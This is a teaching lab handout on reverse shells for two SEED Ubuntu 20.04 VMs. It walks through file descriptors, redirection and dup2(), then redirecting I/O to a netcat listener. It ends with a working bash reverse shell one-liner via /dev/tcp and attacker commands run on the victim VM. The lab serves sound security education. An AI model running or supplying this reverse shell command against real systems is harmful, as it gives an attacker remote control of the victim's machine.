

LAB: Reverse Shell (Ubuntu 20.04 VM)

This lab is an exploration (not an exploitation) lab.

Lab Files: dup2_test.c, redirect_from_tcp.c, redirect_to_tcp.c, reverse_shell_fd.c

A reverse shell is a shell with the following behavior. It is a shell that runs on one machine (say the "Server/Victim" machine) while the control of that shell program is conducted at another machine (say the "Attacker" machine). The shell running on the Server machine takes inputs/commands from the Attacker machine and sends its output to the Attacker machine, essentially help create a backdoor to the victim machine.

See the Figure 10.1 in Du's book for the behavior of a reverse shell.

Reverse shell is a very useful technique in various attacks carried out remotely as it allows attackers to run and control a shell on a victim machine from a remote machine.

In order to fully understand how reverse shell works, we first need to understand the following operating system concepts:

- File descriptors, file descriptor table, and file table
- Redirection
- Standard I/O devices and their file descriptors
- How redirection is implemented
- Redirecting I/O to a TCP connection

Implementing a reverse shell is simply redirecting standard input/output/error streams/devices associated with a process (usually a shell) running on the victim machine to the attacker's machine.

The command/code that launches a reverse shell is injected into a vulnerable program on the victim's machine using a real attack, such as a buffer-overflow attack.

We will be working with two SEED VMs for this lab: "Victim VM" and "Attacker VM"

Lab Preparation: Creating Attacker VM by cloning the "SEEDUbuntu-20.04" VM

1. Start VirtualBox.
2. Select File -> Tools -> Network
(or click Network button on the left side of the window when the VirtualBox launches)
Select "NAT Networks" tab
If you do not see "NatNetwork" item listed in the tab contents, click "Create" button
This will add "NatNetwork" item to the tab contents.
3. Select "SEEDUbuntu-20.04" VM that we created for the labs

Click on "Settings" and then click on "Network" button
Under "Adapter 1" tab:

Check "Enable Network Adapter"
Select "NAT Network" for "Attached to"
Select "NatNetwork" for Name
Select "Allow VMs" for "Promiscuous Mode"
Click the blue button next to "MAC Address" field to generate new MAC address
Click OK

IMPORTANT: Start "SEEDUbuntu-20.04" VM. If the VM does not start and generates an error (failed to open/create the internal network 'NatNetwork' message), then do the following (I got this error and I resolved it using these steps):

- Remove the "SEEDUbuntu-20.04" VM fully (check delete all files box)
- Reinstall VirtualBox
- Start VirtualBox
- Create the "SEEDUbuntu-20.04" VM
- Start back at step 2 of this section.

4. Shutdown (Power Off) the "SEEDUbuntu-20.04" VM now.

5. We will create the "Attacker VM" by making a clone of "SEED-Ubuntu20.04" VM
6. Right click the "SEED-Ubuntu20.04" VM and select "Clone..."
It opens a window for "Clone Virtual Machine"
- Name field: enter "SEED-Ubuntu20.04-Attacker"
- For "Clone Type", select "Full Clone"
- MAC Address Policy field: select "Generate new MAC addresses for all network adapters"
- Click Finish
- It will take few minutes to make a clone.
You will see the "SEED-Ubuntu20.04-Attacker" added to the list of VMs.
7. Start "SEED-Ubuntu20.04-Attacker" VM.
8. Let's find out "SEED-Ubuntu20.04-Attacker" VM's IP address
- In the top right corner of the started VM, click on the network symbol
select "Wired Connected" drop-down and select "Wired Settings"
This opens a window for "Network" settings.
Click on the gear button in "Wired" section.
Note down the IP address listed for "IPv4 Address" field (looks similar to 10.0.2.4)
Cancel this window and close the "Network" window
9. Keep the "SEED-Ubuntu20.04-Attacker" VM running.

File Descriptors and Redirection

Start "SEED-Ubuntu20.04" VM and login.

A file descriptor is a logical handle (represented as a non-negative integer) used to access a file or another input/output resource, such as a pipe or network socket.

A file descriptor (when viewed as a non-negative integer) is actually an index to an entry in the "file descriptor table".

Each entry in the file descriptor table contains a pointer to an entry in the "file table". The file table is where the actual information about a file (or input/output resource) is stored. Each process has its own file descriptor table.

See Figure 10.2 in Du's book for file descriptor table and file table

The file descriptor table of a process can be displayed using the command:

```
$ ls -l /proc/pid/fd // where "pid" is the ID of the process
// "echo $$" command displays the ID of the current process

$ ls -l /proc/$$/fd // displays the file descriptor table of current process
// $$ shell variable contains the ID of the current process

$ ls -l /proc/2702/fd // displays the file descriptor table of process with ID 2702
```

Each Unix process has three predefined standard streams/devices:

```
standard input (fd is 0): by default the keyboard
standard output (fd is 1): by default the console/terminal
standard error (fd is 2): by default the console/terminal
```

Changing the standard input/output/error to something else is called "redirection".

Redirection syntax: source op target

```

meaning: redirect source to target

"source" is a file descriptor (optional field)
  - defaults to 0 if "op" is < and 1 if "op" is >

"op" is redirection operator (<, >, <>)
  < opens the target with read-only permission
  > opens the target with write-only permission
  <> opens the target with both read and write permissions

"target" is filename or file descriptor or network connection
  - when using a file descriptor, must append & to redirection operator (<&, >&)

```

Examples of redirection:

```

$ cat < /etc/passwd      // standard input is redirected from /etc/passwd

$ cat reverse_shell_fd.c > trash.c // standard output is redirected to trash.c
$ rm trash.c

$ ./some-program <> filename    // DON'T TRY THIS COMMAND

```

Exploration Task 1: File Descriptors and Redirection

Do this task in "SEED-Ubuntu20.04" VM.

Download the ReverseShell-Lab-Files.zip file to this VM and unzip it.

Let's examine the file "reverse_shell_fd.c":

- Creates a file descriptor/handle to file /tmp/xyz using open() function
- Prints the file descriptor value of /tmp/xyz file to console
- Writes the contents of an array to /tmp/xyz using the file descriptor
- Closes the file

Open a terminal and compile reverse_shell_fd.c using the command:

```

$ gcc reverse_shell_fd.c

$ touch /tmp/xyz                  // creates an empty file

$ ./a.out
File descriptor: 3

$ cat /tmp/xyz
aaaaaaaaaaaaaaaaaaaaaa

```

When running this program, the file descriptor 3 refers to file /tmp/xyz.

Internally, redirection is implemented using the dup() system call and its variants.

We will see how dup2() system call implements redirection.

```
int dup2(int oldfd, int newfd);
```

The dup2() creates a copy of the file descriptor "oldfd" and assigns "newfd" as the new file descriptor.

Let's examine the dup2_test.c file:

- the first dup2() system call redirects standrad input from /tmp/input file
- the second dup2() system call redirects standard output to /tmp/output file

See Figure 10.3 in Du's book that shows before and after file descriptor tables of running the program in "dup2_test.c" file.

Compile dup2_test.c and execute as shown below:

```

$ gcc dup2_test.c
$ echo 'helloworld' > /tmp/input
$ touch /tmp/output
$ ./a.out &           // run the program in background so we can examine the
                      // file descriptor table of the process running this program
                      // note down the process ID of process running a.out

$ ls -l /proc/pid/fd   // replace pid with process ID of a.out from above
                      // examine the file descriptor table information displayed

$ fg                  // bring a.out to foreground so we can kill it
$ CTRL^C              // kill a.out

```

Exploration Task 2: Redirecting Input/Output to a TCP Connection

For this task, we will need two VMs: SEED-Ubuntu20.04 and SEED-Ubuntu20.04-Attacker

Keep the SEED-Ubuntu20.04 VM we started in the previous task.

Open a terminal in SEED-Ubuntu20.04 VM.

Start the SEED-Ubuntu20.04-Attacker VM if it is not running.

Open a terminal in SEED-Ubuntu20.04-Attacker VM.

In the Attacker VM, let's temporarily change the prompt to "Attacker:\$ " using the following command.

```
$ export PS1="Attacker:$ "
```

In the terminal on SEED-Ubuntu20.04 VM:

Let's examine the file redirect_to_tcp.c:

- Opens a TCP connection to the attacker's machine (at say IP 10.0.2.10)
- Redirects its standard output to attacker's machine (using dup2() function)

Replace the IP address on line 24 in "redirect_to_tcp.c" file with the IP address of the Attacker VM you noted earlier in the Lab Preparation step.

Compile redirect_to_tcp.c file using the command:

```
$ gcc redirect_to_tcp.c
```

In the terminal on SEED-Ubuntu20.04-Attacker VM:

```
$ nc -lrv 8080
```

In the terminal on SEED-Ubuntu20.04 VM:

```
$ ./a.out      // output from this program will be seen on attacker's terminal
                  // verify the output on the attacker's machine
```

In the terminal on SEED-Ubuntu20.04 VM:

Let's examine the file redirect_from_tcp.c:

- Opens a TCP connection to the attacker's machine (at say IP 10.0.2.10)
- Redirects its standard input to attacker's machine (using dup2() function)
- Prints the input received from the attacker's machine to its standard output

Replace the IP address on line 24 in "redirect_from_tcp.c" file with the IP address of the Attacker VM you noted earlier in the Lab Preparation step.

Compile redirect_from_tcp.c file using the command:

```
$ gcc redirect_from_tcp.c
```

In terminal on SEED-Ubuntu20.04-Attacker VM:

```
$ nc -lrv 8080
```

In terminal on SEED-Ubuntu20.04 VM:

```
$ ./a.out
```

Next, type "helloworld!!!!" in the terminal on SEED-Ubuntu20.04-Attacker VM and this string will be displayed in the terminal on SEED-Ubuntu20.04 VM.

- what you type on attacker's side will be given as input to the program running on the victim's machine and printed there.

Exploration Task 3: Time to launch a Reverse Shell on Victim's Machine

The attacker launches a reverse shell on victim's machine. We will assume that this happens through code injection attack (such as a buffer overflow attack) on the victim's machine.

The injected shellcode launches a bash shell on the victims' machine which sets up a reverse shell by redirecting the standard input, standrad output, and standard error to TCP Server running on the attacker's machine.

In terminal on SEED-Ubuntu20.04-Attacker VM, start netcat (nc) program:

```
$ nc -lrv 9090
```

In terminal on SEED-Ubuntu20.04 VM:

```
$ /bin/bash -i > /dev/tcp/10.0.2.10/9090 0<&1 2>&1
```

Note: replace 10.0.2.10 with the IP address of SEED-Ubuntu20.04-Attacker VM.

Once the connection is made to the victim's machine, you will get the system prompt of SEED-Ubuntu20.04 VM on SEED-Ubuntu20.04-Attacker VM.

Input/commands entered at the prompt in SEED-Ubuntu20.04-Attacker VM will be sent as input to the victim's shell and the output/error from the victim's shell will be displayed on the attacker's machine.

The attacker now controls both the input to and the output from the victim's machine from the remote machine.

With the reverse shell launched, the attacker enters the following commands on the Attacker VM:

```
$ pwd      # prints the current working directory in the victim VM  
$ touch attack.txt    # creates attack.txt file in the victim VM  
$ echo "File created by the attacker machine" > attack.txt    # add some text to the file  
$ echo "by John the Ripper, the attacker" >> attack.txt    # append some text to the file  
$ exit
```

On the "SEED-Ubuntu20.04 VM", list the directory contents to verify the creation of attack.txt file and its contents.

```
$ ls  
$ cat attack.txt
```

Lab Clean Up:

1. On SEED-Ubuntu20.04-Attacker VM: close/exit the terminal and power-off VM
2. On SEED-Ubuntu20.04 VM: close/exit the terminal and power-off VM

***** END OF REVERSE SHELL LAB *****